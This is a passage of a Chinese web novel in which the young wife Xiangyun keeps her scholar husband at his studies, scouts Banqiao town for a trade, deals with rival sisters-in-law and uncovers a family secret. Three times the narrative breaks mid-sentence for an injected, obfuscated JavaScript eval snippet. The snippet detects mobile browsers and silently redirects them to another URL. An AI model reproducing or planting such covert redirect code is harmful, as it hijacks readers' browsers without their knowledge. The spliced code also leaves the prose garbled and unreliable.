“我今儿上街摆摊卖字去了，替别人写了一封家书，挣了五文钱。” 湘云叹了口气：“你就是想靠这个法子，来养活我的？” “怎么？不可以么？” “可以是可以，可是，你这一摆摊，就是半天，再加上在田地里劳作，相公，你还有功夫去读书么？” 四郎一怔，没有回答她的话。 湘云缓缓道：“我知道你素有大志，你先别去摆摊，我来慢慢想办法，一定会有法子的。” 8. 整顿家底 镇上的肉沫烧饼就是香，配上热乎乎的面汤，夫妻二人都吃得很饱。 烧饼个头太大，湘云吃了一半，就饱了。 四郎就说：“你把剩下的半个放在碗橱里，明天一早放在锅上热了吃。” 说完，他就从袖子里取出剩下的三文钱，递给了湘云：“男生是搂钱的耙子，女人是存钱的匣子，我挣的钱，自然要交给你。” 湘云接过了三文钱，放进自己夹袄的口袋里，一边站起来收拾碗筷，一边问：“明天你打算做什么？” “明天啊，明天继续摆摊卖文吧。” 湘云听了，拿碗筷的手便停了下来：“相公，你不可再如此耽误光阴了，离秋闱考试，也就几个月的时间了，学堂里的人都在拼命呢。” “可是，我娶了你，就得养你啊！”四郎认认真真地道。 湘云嗯了一声，重新又坐下：“相公，咱们家里现在，到底还有多少钱，还能维持多少日子的生计？” 见湘云这样问，姜四郎就说：“娘子，你等着。” 然后，他就走到卧房里，过了一会，就出来了。 然后，他将几块碎银子，还有一把铜钱放在桌上，对湘云道：“之前定亲的时候，我问王先生借了二十两银子，聘礼花了十两，买金簪花了三两，其余零碎费用花了二两多，现在还剩下二两左右，另外有十五文钱。娘子，这就是我们的全部家当了。” 湘云听了，暗暗合计了一番。 二两银子，省点花，大约可维持夫妻二人四五个月的生计。 四五个月之后，地里的麦子和豆子就收获了。 可是，即便地里的麦子和豆子，还有水田里菜籽丰收了，也只能管住两人的嘴，不会有余钱还那二十两银子的外债。 就算自己每天马不停蹄地种菜，喂猪喂鸡鸭，织布，也改变不了这种贫苦的生活。她见过太多她们村的女人们，每天穿着破衣烂衫，面黄肌瘦地在院子里忙碌了。 按照她爹说的，要么有手艺，要么做买卖，唯有如此，才能改变家里的生活。 可是她爹还说漏了一样，那就是万般皆下品，唯有读书高！ 手艺人顶多衣食无忧，是不会过上富贵生活的。 买卖人挣钱再多，日子过得再富裕，没有当官的护着，那钱也很难保住。 所以，四郎选择读书这条路，绝对是正确的。 当然，这条路也是最难走的，需要付出大量的时间和精力。 湘云不想耽误丈夫的前程，丈夫的前程，就是自己的前程。 所以，要想既让丈夫读书，又要日子过得下去，唯有自己做买卖。 因为，她没有手艺，她一个女人家，也不可能去当木匠和泥瓦匠，更不能当杀猪匠。 想到这里，她就对姜四郎道：“从明儿起，你哪里也不要去，就在家里读书！” “娘子，那我们如何过活？”姜四郎瞪大了眼睛问。 湘云道：“我也不是让你什么都不干，过几天，你就去地里种豆子去，麦子不是已经下过地了吗，到了午季，你就去收麦子。总之，地里的锄草收割的活儿，都交给你了！” “可是，这些收入，只够我们两人糊口的，万一你有了身孕，有了孩子，我们就会入不敷出了，还要还外债，我不挣钱，怎么行呢？”姜四郎坚持道。 湘云道：“还有我呢，你只安心种地读书，其余的，交给我吧。” “你？” 听了她的话，四郎一时难以置信：“娘子，你一个妇道人家，平日里种菜喂鸡鸭织布就够你忙的了，你还有余力做什么呢？” “相公，我只种些菜，织布喂猪喂鸡这些事情，我都不做了。我要将功夫省下来，去找别的挣钱的路子。” 姜四郎便问：“你打算做什么？” “你不怪我想法特异，抛头露面？”湘云反问。 姜四郎微微一笑：“我若有钱有本事，又何须你抛头露面？我既没那个本事，又没那个家底，一个妇道人家，还想着挣钱贴补家用，有妻如此，我该庆幸才是。” 听了他的话，湘云心里，登时升起一股暖流。 看来，自己这一次，真的没有看走眼，这丈夫算是挑选对了。 姜四郎虽然是书生，可是，真的是一点都不迂腐。 想到这里，她的心更踏实了，于是就问：“四郎，我想做点什么小买卖，你帮我想想，到底什么买卖合适呢？” 四郎凝神想了想，最终还是苦笑着摇了摇头：“做买卖，要去人烟稠密的地方去做，咱们村里是不行的吧。” 湘云嗯了一声：“要不，明日，我就去镇上看一看吧。” 夫妻二人正在说话，突然外面有人敲门：“四弟，弟妹，你们可睡了？” 侧耳一听，四郎就说：“是我三嫂！” 说完，他就走出堂屋，去给他三嫂开门：“三嫂，这么晚了，有什么事吗？” “没事就不能来看看你们吗？”姜三嫂笑嘻嘻地走了进来，手里还拎着一个青布袋子。 此时，湘云在堂屋里听见了声音，也迎了出来：“三嫂，外头风大，快点进来。” 姜三嫂走进堂屋，把手里的青布袋放在了桌上：“四弟，弟妹，我家里也没什么好东西，这些咸鸡蛋咸鸭蛋，是我年前腌的，你们拿去吃。” 湘云看了一眼那个布袋，里面鼓鼓囊囊的，至少装了几十个鸡蛋鸭蛋。 于是忙笑道：“三嫂，这可多谢了，我可就爱吃些咸鸡蛋咸鸭蛋呢。” “是吗？那好办，赶明儿我来教你腌，带你去挖黄泥，我们村的黄泥，腌出来的鸡蛋鸭蛋，那可是一绝，里面的蛋黄都流油的。”姜三嫂忙说。 “那可要多谢三嫂了！”湘云一边说，一边搬了个小马扎，给姜三嫂坐下。 见天已经快要黑透，姜四郎忙从屋里取出了火折，点亮了桐油灯，三人就围坐在桌子上聊天说话。 湘云仔细打量了这位三嫂一眼。 只见她一双三角丹凤眼，唇红齿白的，相貌很是艳丽，只不过，眼神终究是过于凌厉了些，一看就是个不好惹的主。 她说话的声音很响亮，中气很足，身材也属于壮硕丰腴的一路，精气神十足的一个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147854|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟她比起来，丈夫姜三郎就明显的老实巴交，显得蔫吧些。 人家只需要看一眼，就知道这对夫妻，是谁在当家作主。 “弟妹啊，你初来乍到，无论是村里，还是家里，都不熟悉。四弟他一个读书人，又是男子家，有些事情他是不知道的。”说这话的时候，姜三嫂一脸的推心置腹。 湘云自然明白这位妯娌的意思，立刻就说：“嗯，我明白的，我要遇见什么不知道的事情，就向三嫂请教。” 姜三嫂笑了：“请教不敢，只是过门比你早两年，知道的事情多些。对了弟妹，你打算逮个猪娃喂吗？” “三嫂，我不打算喂猪。” 姜三嫂的脸上闪过一丝诧异：“不喂猪？咱们可是家家户户都喂猪的，弟妹，不喂猪的话，你门过年怎么吃肉？” “喂猪每天都要烧猪食，一年有半年时间，需要花费半天功夫去地里打猪草，我功夫不够的。”湘云说得有些含糊。 “那是的，各人有各人的打算，我本来以为你要喂猪，想跟你说咱们村哪家的猪崽卖得便宜呢。”姜三嫂显然是个很有眼色的人，见湘云不愿意细说，立刻就转移了话题。 三人说笑了一会，姜三嫂就起身告辞了。 把三嫂送到门外之后，回到房里，两人就开始烧洗脚水。 洗完脚之后，姜四郎不由分说，就一把抱起湘云，扔到了炕上。 两人胡天胡地一番，四郎累极，就拥着湘云，打算入睡。 湘云却推了推他：“别睡，陪我说会子话。” “你想说什么？”四郎将她抱得更紧了，手也不老实起来。 湘云一把拿开他的手：“你三婶是个什么样的人？” “我三嫂么，她是个厉害人！”四郎笑道。 “怎么个厉害法？哪里厉害了？”湘云追问道。 “哪里都厉害，脾气厉害，干活厉害，当然，心机也厉害！”四郎总结道。 “那——她跟你大嫂比，到底谁更厉害些？”湘云又问。 四郎哈哈一笑：“你也看出我大嫂厉害了？” “废话——”湘云道：“她们都不是一般人。” 四郎嗯了一声：“她们两个各有各的厉害，到底谁厉害些，我也分不出来，以后你自己慢慢打交道，慢慢发现吧——你总能发现的。” 湘云嗯了一声，又问：“四郎，你三嫂家有几亩地？家里过得如何？” “分家的时候，我三哥分到了十五亩地，三哥又有泥瓦匠的手艺，农闲时帮人砌个灶台啥的，日子过得不错。” “那你大哥家呢？”湘云又问。 “大哥分家时，也有十五亩地，另外大嫂是个心灵手巧的，会编制。她经常编一些竹篮子，扇子什么去镇上售卖，所以，家里也颇得过。” “那你二哥家呢？”湘云决定打破砂锅问到底。 “二哥家就过得差些，他只有十五亩地，其余就没什么收入了。” “你三个哥哥分家都分道了十五亩地，怎么就你只分到了五亩？”湘云奇怪地问。 姜四郎哑了，半天没有做声。 9. 寻找商机 第二天早上，湘云就去厨房，准备早饭。 她打开碗橱，见里面还有一个小面口袋，口袋里装了大约三四斤玉米面，就想，正好做个玉米面稀饭。 于是她起锅烧火，添了水，把那半块肉沫烧饼热了。水烧开后撒了一把玉米面用勺子搅了。又用白面烙了一块死面饼，把姜三嫂送过来的咸鸭蛋取出了一个。 一顿早饭就这么做好了。 此时，姜四郎也扛着铁锹从菜园里回来了，挖了一早上的地，他一头一脸都是汗。 湘云忙取了白布打水给他洗脸，又把热腾腾的玉米稀饭端上堂屋的饭桌。 两口子就坐下来边吃边聊。 “娘子，你今天打算做什么？” “我打算去板桥镇看一看，到底有什么生意可以做，我们陆家村离板桥镇远些，都是赶凤头镇，板桥镇可比凤头镇大多了，我今儿可得去好好逛一逛。”湘云咬了一口烧饼，又喝了一口稀饭。 “那我陪你去！”四郎立刻道。 湘云摇了摇头：“你上午在家里挖菜园地，下午就好好在家看书，我不要你陪。” 见她神色坚决，四郎也就不再坚持，只说：“那你早些回来。” 湘云笑道：“放心，误不了中午给你做饭。” 吃完饭，湘云收拾了碗筷洗干净，就出门去了板桥镇。 板桥镇离杏花村只有不到四里路，离湘云的娘家陆家村却又接近二十里路，所以，这个远近闻名的繁华的大镇，湘云还是五六岁的时候，随全家一起过年逛庙会的时候来过，已经没有什么印象了。 一路疾行，湘云很快就到了板桥镇。 今天不是逢集的日子，所以，板桥镇上还是很冷清。 只见一条长长的街道，街道两边都是高大宽敞的店铺，各色百货应有尽有，看得湘云眼花缭乱。 她知道，每到逢集的日子，四里八乡就会有很多小商贩前来摆摊卖货，到那个时候，货品会更加齐全。 姜大嫂就是卖货的小贩之一，她卖的是自己亲手编织的竹篮扫帚扇子之类，这些是农户们都需要的。 湘云没有手艺，她的女工活虽然不差，可是，也算不上好。 更重要的是，谁家的妇女闺女都会做针线，压根不会花那个冤枉钱去买。 除非是镇上的大户人家！ 可是，大户人家都有丫头仆妇，人家专门干这个的，更不用买了。 所以，到底做什么买卖比较合适呢？ 湘云拧紧了眉头，仔细思索着。 逛着逛着，走得累了，湘云就想找个地儿休息下。 游目四顾，却见对面的针线铺子门开着，里面没有什么人，店里还有几张板凳。 湘云就走了进去，假装看柜台里的货品，看了一会，就在柜台前的凳子上坐下了。 店里的伙计是个中年男子，看了她一眼，招呼道：“姑娘，累了就多坐会儿！” 湘云嗯了一声，觉得这伙计可真是热情好客，做生意么，本来就该是这样。今天对人热情了，人家就算现在不买，那后来需要买的时候，也会第一个想到你。 这时，门外人影一闪，走进来两个中年妇人，看身上的穿着打扮，应该是哪个大户人家的仆妇。 果然，柜台里的伙计立刻起身，笑容满面地招呼：“王嫂子，李嫂子，您二位可好久不见了啊，快请里间坐坐喝茶。” 其中一个妇人笑道：“放心，何掌柜，既然说了长期用你家的针线，就没有去别人家买的道理。只不过，前些时候，我们太太要去金陵城里娘家小住，把我们姐妹也带了去，这才来得少了。” 那何掌柜一听，立刻恍然大悟：“我说呢，府上每个月用线可是不少，好一段日子没来，我还真以为你们府里不做那么多衣裳了呢。” “放心吧，我们家二少爷又升了官儿，家里更发达了，以后少不得多买下人，用线只会多不会少！”另一个妇人道。 何掌柜便道：“那是两位嫂子抬爱，专门照顾我们的生意。来来，我为两位嫂子准备了两匹上好的布料，你们随我到里间来……” 说着，他便叫另外一个伙计看店，自己陪着两个妇人去里间去了。 听到这里，湘云也听懂了。 敢情，这两个妇人是镇上哪个大户人家的管家娘子，这家人很是富贵，家里下人也多，每个月都做不少针线活儿。 而这两个妇人，就是那个府邸里的管家娘子之流的人，专管采买针线。 既然专门挑何掌柜的家里的针线买，那何掌柜当然要送上谢礼，聊表心意，以图下回。 想到这里，湘云便问那看店的小伙计：“这两位大嫂，看样子挺有钱啊？” “那是，不是她们有钱，是她们的主子有钱！”小伙计一遍用鸡毛掸子打扫柜台，一边答。 “她们的主子是这镇上的哪家富户啊？”湘云忍不住又问。 那小伙计道：“严家，不过，他们家也不算镇上最富贵的。” “那，这镇上最富贵的是哪一家啊？”湘云追问。 那伙计看了她一眼：“姑娘，我猜你一定是外地人吧？要知道，咱们这板桥镇，可是靠着滁州府呢，又有清流河，这河通着大运河，镇上的富贵人家，可不止一户两户。要说谁家最富贵，也说不上来，只能说，要数曹胡陈三大家最是富贵吧。” “那你们家的针线铺子，可做这三家的生意？” 那伙计摇了摇头：“人家的管家自有亲朋好友做这行当，哪里轮得到我们呢！” 湘云听了，心里就是一动，隐隐约约的，心里浮现出一个念头。 于是她又问伙计：“小哥，这镇上的富贵人家，都聚居在一起么？” 那伙计道：“嗯，大多在西街后头，清流河旁边，十几户呢！都是高门大院的！” 湘云点了点头，告辞出门，就往西街后头去了。 穿过西街的那条小巷，来到清流河旁边，湘云果然看见这一带鳞次栉比，到处都是风火高墙，朱红门楼，果然好一番繁华气象。 湘云暗想，做买卖，可不就是要做有钱人的买卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147855|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么！ 到底该做什么买卖呢？ 就这样，一路思索着，湘云回到了家。 见她回来了，四郎立刻从卧室里走了出来，一把拉住她的手：“累坏了吧？菜园里的地我都挖完了。我给你泡的茶水，快去喝些！” “你哪来的闲钱买茶叶？”湘云有些诧异，对于她们这样的普通农户来说，茶叶绝对是奢侈的东西。 “这不是买的，是我娘去年春天从山上采的野茶，很清香的，不信你喝了试试看。” 湘云接过四郎递过来的粗瓷杯子，看了一眼那金黄色的茶汤，喝了一口，自觉清香无比，果然是好茶。 于是她就问：“相公，没想到这杏山上还有这么好的茶叶，那这茶叶，外头可有卖的？” 四郎就笑道：“这茶叶虽然香，可是，外头茶叶铺子里有的是比这更香的茶叶，不稀奇的。” 听他这样一说，湘云不由得有些失望，贩卖茶叶的念头立刻打消。同时也暗笑自己没有见识，毕竟，她从小到大，就没怎么喝过茶。 看看天色不早，湘云就开始准备午饭。 离开板桥镇的时候，湘云从镇上买了一块豆腐，回到家里，又从菜园里拔了两颗青菜，两颗小葱。 中午就做了一个青菜豆腐汤，又将玉米面和白面混合在一起，烙了两张饼子， 夫妻两个一个烧火，一个做饭，很快就做成了。 “娘子，只有青菜豆腐，你去了镇上一趟，为何没有割点肉回来？我不是把钱都给你了吗？” 湘云笑道：“青菜豆腐保平安，过日子，还是细水长流的好。” 四郎不由得有些惭愧：“新婚燕尔，这可苦了你了！” 湘云一笑，正要说话，就听见外面又传来姜三嫂的声音：“弟妹，四弟妹在家么？” 湘云立刻道：“在家呢！三嫂，快进来！” 姜三嫂便走了进来，笑道：“你们才吃过午饭吗？” “三嫂，你和湘云聊天说话儿，我来去厨房洗碗吧。”四郎便去拿碗筷。 “相公，你放着，我回头洗。” 姜三嫂便笑道：“你就让他洗吧，你没进门之前，他一个人过，什么活不都是自己做的！哪里就这样娇气了！” 湘云一笑，便由他去了。 “弟妹，我饭后无事，来找你拉家常。” 湘云便道：“三嫂，我正一个人寂寞呢，四郎又要读书，你来陪我，再好不过！” 姜三嫂便笑了：“我第一眼看见你，就知道你是个爽快人，正对我的路子呢！咱们姐两才应该多多亲近。” 湘云嗯了一声。 姜三嫂又压低了声音：“我听说，你们定亲之前，大嫂拿捏媒人，想要你们家不要聘礼，可有的事？” 湘云心里一动，立刻明白，这三嫂是来拉拢自己的。 情况未明，自己不便站在哪一边，于是便说：“这是误传吧，我从不知道有这样的事。” 姜三嫂也是个聪明人，就哈哈一笑：“我也只是听说，没有更好！” 10. 盘点亲戚 三嫂走后，四郎就从厨房来到堂屋，问湘云：“三嫂跟你说了什么？” “你猜猜，你三嫂跟我说了些什么？” 四郎笑了一笑：“三嫂跟你聊天，一定会提大嫂，对不对？” “你还真神了，你怎么知道她会提大嫂？”湘云好奇地问。 四郎懒洋洋地道：“这个一点也不奇怪，赶明儿我大嫂来了，也会跟你专门提我三嫂的。” “敢情，这两人还是老冤家了？”湘云挑眉问。 四郎哈哈一笑：“亲兄弟，仇妯娌，老祖宗的话，那还能有假？我这两位嫂嫂，那可是前世宿敌，积怨太久了。现在你来了，两人都争着把你拉过去呢！” 湘云嗯了一声，又问：“那你二嫂呢？在你大嫂和你三嫂之间，你二嫂向着谁？” “我二嫂这个人啊，她是个老好人，谁也不得罪，永远不生气的，你倒是和她多亲近亲近，不过，二嫂过日子太节俭了些，日后你慢慢就会知道了。” 说完，四郎就说：“下午没事，你上床小睡一会吧。我拿卷书，到墙根底下晒着太阳看去。” 湘云忙道：“等等，相公，我有事问你。” 四郎停了下来，一脸疑问地看着她。 湘云站起身来，拉着他的手：“你先坐回到板凳上，给我仔细想一想。” “想什么？” “想一想，你们家到底有多少亲戚，这些亲戚都是干什么的。”湘云认真地问。 “我们家亲戚可多了，七大姑八大姨的，你没有个三年五载，是认不全的，你以后还是慢慢跟她们见面吧。”说完，四郎起身又要走。 湘云一把拉住他：“我叫你说，自有我的道理，你就跟我说说呗。” 四郎看着她，有些无奈：“不是我不肯跟你说，委实是太多了，说不过来啊！” “那些远亲就算了，你就说说公公婆婆这两族中，比较近的，比如表哥，表姐舅舅姑姑什么的。”湘云忙道。 四郎便重又坐下，缓缓道：“娘子，我爹一共兄弟三人，他老人家排行老二，大伯和三叔都在本村务农。” “那大伯和三叔可有什么手艺？” 四郎摇了摇头：“没有，他们都是老实巴交的庄稼人，一辈子在土地上刨挖，过了一辈子苦日子。” “那他们生了几个儿女，这些堂哥堂姐都干什么营生？” 听了她的提问，姜四郎有些好笑：“庄稼人，能有什么营生呢？大伯生了两个儿子，也都是庄稼人，三叔的三个儿子，老大还在学堂里读书，书也念得不甚好，王先生天天叫他回家算了，不是读书的料。两个小的，都还是毛孩子呢。” “那他们没有女儿吗？”湘云回忆着：“上次去大哥家吃饭的时候，好像提到有堂姐。” “两个堂姐，一个嫁给了清流河边的挑夫，一个嫁给了邻村的铁匠，咱家以后要是打锄头的话，找姐夫倒是便宜。” “那姑姑呢？你不是有姑姑吗？” 四郎见她一幅打破砂锅问到底的样子，就说：“是有三个亲姑姑，姑父和表哥表弟表姐们也各有营业，我娘的娘家，还有四个舅舅，五个姨母，也都生了一大堆表兄弟姐妹，娘子，这要是细细跟你说的话，恐怕一天一夜也说不完，你就说吧，你到底想问什么？” 湘云抿嘴一笑：“我想知道，你们家，可有什么亲戚在板桥镇上，跟板桥镇的大户人家有什么牵扯？” 听到这里，姜四郎的脸色就是一变，随即又恢复了正常。 他摇了摇头：“没有，咱们家世代务农，家风清白，跟那些大户人家能有什么牵扯呢！” 他神色间的变化，却没有逃过湘云的眼睛。 于是她笑道：“瞧你说的，跟大户人家有牵扯，难道就算不上家风清白了？” 四郎的脸色有些阴郁，没有回答她的话。 湘云突然想起来，当日赵三婶说媒的时候，好像说过，姜四郎还有三个亲姐姐。 成亲当日，好像那三位大姑姐都回来的，只是自己隔着盖头，没有看见她们的模样。 于是她又问：“咱们不是还有三个亲姐姐么？姐夫们都是做啥的？” “三个姐夫，一个是邻村的秀才，在别人家里坐馆，两个都是农夫，娘子，我们家的亲戚里，压根没有你想问的那种跟大户人家有关系的，你以后就不要再问了。” 湘云点了点头。 可是，她总觉得，四郎的语气，有些硬邦邦的，好像带着点怒意。 这怒意到底从何而来？ 真是令人不解啊！ 不过，既然他不喜欢再说这个话题，那自己也不便追问了，于是就说：“那你去看书吧，我把家里再收拾收拾。” 四郎的脸色，这才缓和了，点了点头，到书架上拿了一卷书，搬了个小马扎去了。 湘云拿了个扫帚，从房间到院子里都仔细地清扫着。 四郎虽然看起来干净整齐，可终究是个男子家，屋里和院子里就有些乱。 早春天气，这一干活，就有点穿不住薄棉袄，湘云就想着去屋里换一件夹袄。 这时，院外又有人扣门了。 “弟妹在家吗？”这声音，一听就是姜大嫂。 想起自己和四郎方才的对话，湘云不由得心里一乐。 这位大嫂，莫不是也来拉拢自己，孤立姜三嫂的？ 若果真这是这样，那她手里，应该拿着东西来的才是。 于是，她赶紧上前开门：“大嫂，来了！” 只见姜大嫂穿一身青布薄棉袄，笑吟吟地站在院门口，她的手里，果然拎着一个小小的白布袋，袋子鼓鼓囊囊的，装满了东西。 “大嫂啊，快快请进，我收拾屋子呢，堂屋有点乱，咱们去厨房说话。” 妯娌二人边说话，边进了厨房。 “弟妹啊，今儿上午，隔壁桃花村的四姑奶奶托人给咱们几家捎来一些糯米面，让我这个做大嫂的分一分。这不，我就分了一些给你们家，给你送过来了。” 说完，姜大嫂就把手里的小白布袋子放到了切菜的桌子上。 湘云看了一眼那个小布袋，估计有三碗还要多一些左右的糯米面。不过，这已经很不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147856|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，糯稻一亩地是打不出多少稻子来的，比一般稻米稀罕。 不过，大嫂口中所说的四姑奶奶，让湘云有些奇怪。 本着不懂就问的精神，湘云就说：“大嫂，四姑奶奶？老姜家不是有三个姑姑吗？咱们这一房不是只有三个姐姐的吗？三个姑太太，三个姑奶奶，哪里来的四姑奶奶？莫非是哪个堂姐？” 姜大嫂看了她一眼，那眼神，有些奇怪，仿佛她问了什么不该问的。 意识到自己说错了话，湘云忙转了话题：“大嫂，这糯米面，可真是个稀罕东西，我们家只有过年的时候，上集上买二斤做炒米糖吃。” “是啊，三位姑奶奶，对娘家可都是没话说，过年的时候，大姑奶奶送了我们几家腊肠，二姑奶奶每家送了一罐茶叶。这不，四姑奶奶家是最穷的，也送了这糯米面。”姜大嫂缓缓道。 见她的眼神有些意味深长，湘云暗想，那这三姑奶奶，难不成幼年夭折了？这年头，长不大夭折的孩子可不在少数啊！湘云她妈就曾经夭折过不止一个孩子呢。 于是，她就说：“那三姑奶奶呢？” 姜大嫂笑道：“妹妹啊！三姑奶奶的事，是我们老姜家的忌讳，你也就在我面前问问就得了，在其他面前，就不要再提了。” 听了她的话，想起四郎刚才提起三位姐姐的脸色和态度，湘云奇怪极了。 她意识到，这所谓的三姑奶奶，就是姜家的秘密。而且，肯定不是年幼夭折的。 看着姜大嫂讳莫如深的脸色，湘云硬生生地按捺下了自己的好奇心。 她明白，如果姜大嫂想说，那么不用自己问，她接下来就会说。如果她像刚才四郎那样，那即便自己问了，她也不会说。 顿了一顿，姜大嫂方笑道：“咱们家这三姑奶奶啊……” “娘子！娘子！快点出来！”四郎的声音突然从院门外传来。 湘云一听，就说：“大嫂，我出去看看。” “不早了，我得回家编篮子去了。”姜大嫂也起身告辞，两人一起到了院子里。 只见四郎搀扶着一位白发苍苍的老太太，对湘云笑道：“娘子，三表奶说想看看你长啥样。” “哎呦，三表奶啊，您老的病好了？”姜大嫂急忙上前问候。 “是啊，我听说四郎娶了新媳妇，长得怪俊，我就想着来看看呢！”三表奶笑道。 湘云走上前去：“三表奶。” 三表奶盯着她打量了一番，笑道：“果然是个小美人儿，和四郎可真是天生一对啊！” 姜大嫂就说：“你们陪三表奶进屋喝喝茶说说话，我这就回去了。” 四郎点了点头，将三表奶搀扶到了堂屋里，又给她泡了茶。 见四郎和姜大嫂对这位三表奶的态度，都很恭敬，湘云暗想，这位表奶肯定不一般。 果然，三表奶走后，四郎就告诉湘云：“这三表奶有个儿子，几年考中了进士，在京城里做专做官儿，这可是他们四里八乡第一个考取进士的人呢。” 湘云点了点头，丈夫既然要走科举这条路，自然不能怠慢这位亲戚。 11. 三姑姐的秘密 第二天早上，湘云决定用四姑姐送的糯米面，做一顿早餐。 她打开碗橱，检视了一番，只见橱里还有半碗白砂糖，于是决定做个炒元宵吃。 先用白糖炒出糖色，再将用温水和好的糯米面搓成汤圆，直接下锅翻炒，炒了一会，估计快要熟了，就盛到了两只粗瓷大碗里，端到了堂屋的饭桌上。 此时，四郎刚写完一篇文章，正好回来，见饭桌上有香碰碰的汤圆，就说：“好饿！” 两人坐下，四郎拿起筷子夹了一只汤圆送入嘴里，随后，又皱起眉头，看了湘云一眼，不过，他还是把汤圆咽了下去。 湘云心知有异，急忙夹起一只放进嘴里，开始时甜的，可是嚼了几下，她就立刻发觉里面根本没熟。 于是她急忙将汤圆吐了出来：“相公，别吃了，我给你烙饼！” 四郎笑道：“不用烙饼，你给锅里放些开水，烧熟了再吃就可以了。” 湘云有些不好意思，她嗫喏道：“我家里很少做糯米面，我从来没做过。” “没事，我也吃得不多，只不过我四姐爱吃，她年年都种，所以，年年都给些。” 见他提起四姐，湘云不由得又想起姜大嫂那欲言又止的样子，于是就试探地问：“你四个姐姐，都很疼爱你吧？” 四郎却不上当，只白了她一眼，接着就转移了话题：“中午，要不，做样你拿手的菜？” 湘云想了一想，就说：“家里没有米了，相公，你上午去镇上买一袋子米来，我瞧见咱们廊檐下挂得有两串腊肉，中午我给你做好吃野蒜炒腊肉，这个菜要配上米饭才好吃。” “野蒜？你说杏山上到处都有的那种野蒜？”四郎疑惑地道。 湘云点了点头。 “那我还真没吃过，我只吃过菜园里的蒜叶炒腊肉，的确是香，那野蒜难道还有什么不同？” 湘云笑道：“肯定不同啊，中午我做给你吃你就知道了——对了，你交给我的钱，我都放在枕头底下，你去拿好了，我去杏花山上拔野蒜去。” “娘子，杏山很大，林子很密，你不要一个人去，找个伴吧。” “那我找谁去好呢？” “看我三个嫂嫂谁有空吧。”四郎说着，就去卧室的枕头底下拿钱了。 湘云想了一想，正好姜三嫂上次说过，有啥事可以找她，自己对杏山不熟，可以找她做向导。 于是她去将汤圆重新烧水煮开，又将半碗白糖端到饭桌上，两人蘸着白糖吃了， 饭后，她拎了个竹篮，拿了个小菜铲子，就往姜三郎家去了。 上次姜三嫂来的时候，跟她说过，自己家就住在村西大柳树底下，独门独户，很容易就找到了。 姜三婶正在院子里扫地，见湘云来了，立刻热情地将她迎接了进去。 “三嫂，我想去杏山上拔点野蒜，你能陪我去吗？” “成啊，正好，我也想拔点野蒜腌来吃呢，走！”说完，姜三婶也从她家院子的角落里拿了竹篮和菜铲子，妯娌二人并肩去了杏山。 杏山就在他们村的后面，离村子大约只有一里路，很快就到了。 山里的林子很密，而在山间小路两边的草丛里，或者向阳的山坡里，就生长着大片大片的野蒜。 跟菜园里种的蒜比起来，野蒜有一股特殊的清香，村里的人们就爱拔它做各种菜肴。 妯娌二人也无需爬山，只在山脚处就可以挖到不少野蒜了。 早春时节，山坡上的草地已经一片青绿，春风轻柔，妯娌二人一边挖野蒜，一边轻声说笑着。 “弟妹，四姑奶奶昨天有没有给你们家糯米面啊？” 湘云点了点头。 姜三嫂嗯了一声，又问：“那她给了你家几碗啊？” 这个问题可不好回答，谁知道姜大嫂到底是怎么分的呢？ 于是她含含糊糊地道：“我也没用碗量，不知道有多少呢。” “哎呦，看起来不止一碗呢，她给了我们家三碗，以她性子，也够大方了。”姜三嫂讥笑道。 “这是四姐托她给人的东西，谈不上她大方不大方吧？”湘云心里一动，就说。 “那可不一定哦，我回头再问问二嫂，有没有给她们家！” 湘云将一颗野蒜扔进篮子里，想起关于姜家三姐的事情。 本来这件事情也不是非打听不可，可是，昨天自己问四郎，有什么亲戚跟大户人家有牵扯，然后又问到几个姐姐的时候，四郎的回答，分明是跟大户人家有关。 于是，她决定借机问一下姜三嫂。 于是就说：“大嫂昨儿来我这里，我问了她一件事情，可是她说话吞吞吐吐的，” “什么事情？” “我问她，既然糯米面是四姑姐送来的，那家里应该有四个姑姐，三姑姐嫁到哪里了？” 听了这话，姜三嫂正在铲野葱的手，猛地就停住了。 她久久没有做声。 “三嫂，这家里，你对我最好了，你就告诉我呗？到底怎么回事？”湘云缓缓道。 姜三嫂轻声道：“我跟你说了，你可别跟任何人说，是我告诉你的啊。” 居然这么神秘！这姜家三姐身上，到底藏着什么秘密呢！ 见姜三嫂说得郑重，湘云也郑重点头：“放心吧，我不会说出去的，我一提这事，四郎就跟我变了脸色，我连在他面前都不敢提及了，更不会跟别人提到了。” 姜三嫂笑道：“难怪四郎变了颜色，实在这是咱们老姜家的一件大丑事，最是见不得人的！” 湘云静静地等着她说下去。 